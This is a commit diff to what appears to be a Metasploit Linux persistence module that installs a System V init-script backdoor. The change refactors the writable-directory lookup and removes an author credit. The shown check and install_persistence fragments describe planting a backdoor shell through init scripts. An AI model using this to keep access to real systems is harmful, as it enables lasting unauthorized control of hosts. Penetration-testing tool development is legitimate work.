systemv updated with mixin udpates

Author: h00die

modules/exploits/linux/persistence/init_sysvinit.rb

@@ -34,7 +34,6 @@ def initialize(info = {})
         'License' => MSF_LICENSE,
         'Author' => [
           'h00die',
-          'Cale Black' # systemd user target
         ],
         'Platform' => ['unix', 'linux'],
         'Targets' => [
@@ -84,19 +83,19 @@ def initialize(info = {})
   end
 
   def check
-    print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if datastore['WritableDir'].start_with?('/tmp')
-    return CheckCode::Safe("#{datastore['WritableDir']} isnt writable") unless writable?(datastore['WritableDir'])
+    print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp')
+    return CheckCode::Safe("#{writable_dir} isnt writable") unless writable?(writable_dir)
 
     has_updatercd = command_exists?('update-rc.d')
     if has_updatercd || command_exists?('chkconfig') # centos 5
-      return CheckCode::Appears("#{datastore['WritableDir']} is writable and system is System V based")
+      return CheckCode::Appears("#{writable_dir} is writable and system is System V based")
     end
 
     CheckCode::Safe('Likely not a System V based system')
   end
 
   def install_persistence
-    backdoor = write_shell(datastore['WritableDir'])
+    backdoor = write_shell(writable_dir)
 
     path = backdoor.split('/')[0...-1].join('/')
     file = backdoor.split('/')[-1]